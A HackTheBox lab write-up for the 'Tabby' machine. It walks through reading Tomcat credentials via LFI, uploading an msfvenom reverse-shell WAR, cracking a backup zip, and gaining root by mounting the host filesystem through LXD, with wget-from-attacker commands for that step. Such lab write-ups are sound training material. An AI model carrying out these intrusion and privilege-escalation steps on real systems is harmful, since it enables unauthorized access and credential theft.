HackTheBox Writeup — Tabby
This is my write-up for the HackTheBox machine ‘Tabby’, which runs a Linux OS and is one of the ‘easy’ rated machines.
1. Summary
A Local File Inclusion (LFI) vulnerability lets us obtain Tomcat user credentials, enabling us to upload a reverse shell and gain a foothold. To escalate to user ‘Ash’, we use the fcrackzip tool to crack a password protected backup file, which turns out to be the password for Ash’s user account. Finally, to escalate to root we exploit the fact Ash is in the LXD group, thus allowing him to use the LXD API to mount the root filesystem into its own container.
2. Enumeration and Initial Foothold
As always we start of with an Nmap scan, using the following flags:
-sV : Enumerate Versions
-T4 : Increase Speed/Aggressiveness
-p- : Scan all ports 1-65-535
-oN : Output results in default file format into 'full_nmap' file.
Just SSH, a bespoke web application and Tomcat? Lets go check out the web bespoke web app.
The first thing I notice here is the email address, which indicates a hostname, so I add this to my /etc/hosts file.
With this set, I enumerated the web app further, and clicking on the “Read our statement…” hyperlink takes us to a page that looks vulnerable to LFI. To test this I tried the traditional PoC which is to read the /etc/passwd file.
Cool, we have LFI but nothing specific we want to retrieve just yet. After trying some quick-wins (e.g. grabbing SSH keys) to no avail, I decided to leave it for now and went to look at the Tomcat installation on Port 8080.
A lot of information here, most notably though is the tomcat9-admin hyperlinks (which require authentication) and the hint in the last paragraph as to how we can obtain some Tomcat credentials.
Moving back to the LFI, we can use this retrieve the tomcat-users.xml file. This step required you to think about how Tomcat may have been installed, such as through a package manager. Since Nmap identified this box as an Ubuntu (Debian) machine, I did some research on Tomcat installations on Debian machines and came across this file list, which had the correct path.
One thing to note from the above is that once authenticating the ‘tomcat’ user does not have full access to the manager-gui, only to the Tomcat Virtual Host Manager GUI and some elements of the manager-gui.
However, this user is assigned the ‘manager-script’ role so we can upload a malicious reverse-shell script directly from the CLI using these credentials. The screenshot below shows the creation of a java reverse shell using msfvenom and saving the file as a .WAR file, which is required since Tomcat is built primarily in Java. Then by using cURL we can authenticate and remotely upload the file to the root of the web application.
As mentioned previously, we do have limited access to the manager-gui so we can actually check that our reverse shell is present. As we can see, foothold.war is there along with our user’s payloads (and also one of my failed .war reverse shells).
Finally, we open up and netcat listener on port 9101 and get a connection from the box ‘tomcat’.
3. User — Ash
Local enumeration of the box’s web-related directories finds a password protected backup zip file.
Moving this back to my Kali machine and using FCrackZip we retrieve the password.
-u : Try to decompress the first file by calling unzip with the guessed password. This helps weed out false-positives.-D : Dictionary attack mode
-p : Use a file (rockyou.txt) to supply the password
This password turns out to be Ash’s user account password, so we can escalate from Tomcat to Ash using ‘su’ and grab the user.txt flag.
4. Root
Running a Linux enumeration script (LinPeas) identified Ash as being part of the LXD group, which can be used in numerous ways to escalate to root. In this case, we are going to use the LXD API to mount the host’s root filesystem into a container, giving a low-privilege user root access to the host filesystem.
For a more in-depth understanding of LXC/LXD in Linux and their vulnerabilities, I recommend checking out Raj Chandel’s blog post, which was my reference point for this exploit. But in summary, LXD is is a root process that carries out actions for anyone with write access to the LXD UNIX socket (e.g. in LXD group), and the vulnerability lies in the fact that it often does not attempt to match the privileges of the calling user.
The exploit can be broken down into the following steps:
- (1) Download ‘alpine-builder’ from the git repository
- (2) Build an Alpine image
- (3) Transfer this image to the victim machine
- (4) Import the image for LXD
- (5) Initialize the image inside a new container
- (6) Mount the container inside the /root directory
- (7) Start the container
// Steps 1, 2 & 3a - To be performed on Kali machine# git clone https://github.com/saghul/lxd-alpine-builder.git
# cd lxd-alpine-builder/
# ./build-alpine
# python3 -m http.server 8000// Step 3b - To be performed on victim machineash@tabby: wget "http://htb_IP:8000/alpine...tar.gz"
Now at this point we have the Alpine image in the /dev/shm directory of the victim machine, so we need to import the image to LXD. We can also confirm that this has worked by listing the available images.
Next we need to initialize the image inside a new (privileged) container (line 1 below) and mount the box’s filesystem into the /mnt/root directory of the container (line 4 below).
And finally, we start our container and execute /bin/sh to get root access to the filesystem, where we can group the root.txt flag.
As an additional bonus, using this mounted filesystem we can retrieve root’s private SSH key and get a proper shell on the box.
Conclusion
Thanks for reading and keep an eye out for future writeups! Feedback is always welcome through, and my HackTheBox profile is linked below :)
